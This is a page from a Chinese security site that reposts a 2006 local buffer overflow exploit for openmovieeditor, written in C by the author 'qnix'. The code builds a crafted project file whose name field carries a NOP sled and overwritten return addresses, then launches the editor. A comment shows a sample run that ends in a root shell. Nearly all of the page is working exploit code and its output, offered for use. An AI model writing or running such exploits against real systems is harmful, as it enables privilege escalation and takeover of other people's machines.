首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
openmovieeditor <= 0.0.20060901 (name) Local Buffer Overflow Exploit
来源:qnix[at]bsdmail[dot]org 作者:qnix 发布时间:2006-09-11  

/*
* openmovieeditor buffer overflow exploit
* by qnix < qnix[at]bsdmail[dot]org
*
* Dont forget to change the return address (RETADDR)
*
*
* --------------------------
* devil: ~ \> envt/envt -s 2
* Shellcode: linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes
* [+] Setting memory for the shellcode.
* [+] Copying shellcode to memory.
* [+] Putting shellcode in the environment.
* [+] Going into the environment (ENVT) and exiting ....
* Done 37 bytes loaded to (ENVT)
* devil: ~ \> envt/envt
* SHELLCODE FOUND IN 0xbffffbf5
* devil: ~ \> ./ome_buf
*
* *****************************************
* openmovieeditor buffer overflow exploit
* by qnix < qnix[at]bsdmail[dot]org
* Dont forget to change the return address
* *****************************************
*
* Usage : ./ome_buf <filename> <openmovieeditor>
* devil: ~ \> ./ome_buf Video\ Projects/exploit.vproj /usr/local/bin/openmovieeditor
*
* [+] Video Projects/exploit.vproj Created|Opened
* [~] Desired Return Addr : 0xbffffbf5
* [~] Offset from ESP : 0x0
* [+] Executing openmovieeditor
*
* sh-3.1# whoami;id
* root
* uid=0(root) gid=0(root) groups=0(root)
* sh-3.1# exit
* exit
*
* --------------------------
*
* */

#include <stdio.h>
#include <stdlib.h>

#define RETADDR '\xbf\xff\xfb\xf5'
#define SLEEP sleep(1);

int main(int argc,char *argv[]) {
FILE *output;

int i, offset;
long ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
ret = RETADDR - offset;

if(argc != 3) {
fprintf(stderr,"\n*****************************************\n");
fprintf(stderr,"openmovieeditor buffer overflow exploit\n");
fprintf(stderr,"by qnix < qnix[at]bsdmail[dot]org\n");
fprintf(stderr,"Dont forget to change the return address\n");
fprintf(stderr,"*****************************************\n\n");

fprintf(stderr,"Usage : %s <filename> <openmovieeditor>\n",argv[0]);
return 0;
}

output = fopen(argv[1],"w+");

if(output == 0) {
fprintf(stderr,"\n[-] Cannot create %s\n",argv[1]);
SLEEP
return 0;
} else {
fprintf(stdout,"\n[+] %s Created|Opened\n",argv[1]);
SLEEP
}

fprintf(output,"<?xml version=\"1.0\" standalone=\"no\" ?>\n");
fprintf(output,"<open_movie_editor_project>\n");
fprintf(output," <version>0.0.20060901</version>\n");

/* evil code ^_^ */
buffer = malloc(2300);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2300; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 1040; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 1044;
buffer[2300-1] = 0;

fprintf(output," <name>%s</name>\n",buffer);
fprintf(output," <zoom value=\"1.000000\" />\n");
fprintf(output," <scroll value=\"0\" />\n");
fprintf(output," <stylus value=\"0\" />\n");
fprintf(output," <video_tracks>\n");
fprintf(output," <track />\n");
fprintf(output," <track />\n");
fprintf(output," </video_tracks>\n");
fprintf(output," <audio_tracks>\n");
fprintf(output," <track />\n");
fprintf(output," <track />\n");
fprintf(output," </audio_tracks>\n");
fprintf(output,"</open_movie_editor_project>\n");

fprintf(stdout,"[~] Desired Return Addr : 0x%x\n", ret);
SLEEP
fprintf(stdout,"[~] Offset from ESP : 0x%x\n", offset);
SLEEP

fprintf(stdout,"[+] Executing openmovieeditor\n\n");
fclose(output);
SLEEP

execl(argv[2],"openmovieeditor",0);

return 0;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Socketwiz Bookmarks <= 2.0
·MiniPort@l <= 0.1.5 beta (s
·Multithreaded TFTP <= 1.1 (
·Mercur Mailserver 5.0 SP3 (IMA
·CCleague Pro <= 1.0.1RC1 (C
·phpBB <= 2.0.21 (Poison NUL
·Open Bulletin Board <= 1.0.
·MS Internet Explorer COM Objec
·X11R6 <= 6.4 XKEYBOARD Loca
·X11R6 <= 6.4 XKEYBOARD Loca
·X11R6 <= 6.4 XKEYBOARD Loca
·Limbo CMS <= 1.0.4.2L (com_
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved